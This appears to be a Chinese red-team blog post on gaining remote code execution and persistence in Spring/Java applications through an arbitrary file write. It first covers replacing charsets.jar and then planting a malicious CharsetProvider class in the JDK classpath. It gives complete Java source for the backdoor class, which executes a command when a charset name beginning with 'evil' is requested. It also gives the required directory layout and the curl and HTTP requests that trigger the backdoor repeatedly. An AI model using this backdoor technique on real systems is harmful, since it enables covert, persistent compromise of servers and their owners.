之前就知道spring框架可以这样写文件实现rce,但是当时也没操作过,最近想写个权限维持的工具,才知道里面有很多坑,下面单对写charsets.jar文件实现rce做讨论(charsets.jar文件使用的是GitHub项目中编译好的文件)
spring环境触发恶意代码的数据包
GET / HTTP/1.1
Accept: text/html;charset=GBK
坑点一
Java应用中的函数得没有使用Charset.forName("GBK")
类似的代码,这样charsets.jar文件不会在应用运行时被加载到jvm中,才能在后面顺利替换掉charsets.jar来实现恶意代码运行
坑点二
系统必须是Linux系统,windows系统由于在Java应用启动时,就会自动加载charsets.jar,导致了后面替换jar包没用,除非是简单粗暴的直接修改ExtendedCharsets
,在其中添加恶意代码,这样虽然windows的Java应用在修改编码调用这个函数的时候会触发恶意代码,但是如果直接修改这个类,太粗暴了,会直接影响到系统中所有的Java应用,字符编码也会乱掉,严重的可能还会导致Java应用崩溃掉。LandGrey的GitHub项目中的charsets.jar也只是修改了下面的一个IBM33722
的类文件
坑点三
系统必须是zh_CN.gbk字符集,这样使用数据包触发时,才会加载charsets.jar
坑点四
只能主动触发一次charsets.jar
,如果恶意代码没有被触发,那继续发数据包也没用了,因为jar包已经被加载了
其他利用
写文件做rce的利用除了上面的写charsets.jar文件外,还有一个自己利用spi机制来编写一个恶意provider,然后上传到系统的classpath文件下,一般是jdk_home/jre/classes
实现
编写CharsetEvil.java
package sun.nio.cs.evil;
import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.charset.spi.CharsetProvider;
import java.util.HashSet;
import java.util.Iterator;
public class CharsetEvil extends CharsetProvider{
@Override
public Iterator<Charset> charsets() {
// TODO Auto-generated method stub
return new HashSet<Charset>().iterator();
}
@Override
public Charset charsetForName(String charsetName) {
// TODO Auto-generated method stub
if(charsetName.startsWith("evil")) { //指定后门密码
try {
Runtime.getRuntime().exec("cmd /c calc");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return Charset.forName("UTF-8");
}
}
使用javac编译后,在jdk_home/jre/classes目录下建立这样的目录结构
.
├── sun
└── nio
└── cs
└── evilCharsetEvil.class
└── META-INF
└── services
└── java.nio.charset.spi.CharsetProvider
其中services目录下的文件名字是spi继承的类名,文件内容是sun.nio.cs.evil.CharsetEvil
也就是恶意类名
触发
curl -X GET "<http://127.0.0.1:8080/>" -H "Accept: text/html;Charset=Evil"
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json;charset=evil;
触发的Accept: application/json;charset=evil;
字段虽然说相同的charset
只能使用一次,但是由于代码判定的是以evil开头,所以也可以使用Accept: application/json;charset=evilxx;
进行重复多次运行恶意代码
总结
其实对比下两种利用手法,由于jdk_home/jre/classes目录不存在,需要自己创建的原因,很多人还是倾向于jar包做维权的手段,但是我上面总结了很多坑点,光是系统必须是zh_CN.gbk字符集就说明了利用条件非常苛刻了,在不用说Java应用中的函数得没有使用Charset.forName("GBK")
类似的代码,而且即使上传成功,利用成功了,在国内现在的攻防场景的原因,会对应用系统做出一些破坏,客户肯定是不允许的,所以我在这里是倾向于第二种利用手法的
参考链接:
https://xz.aliyun.com/t/16831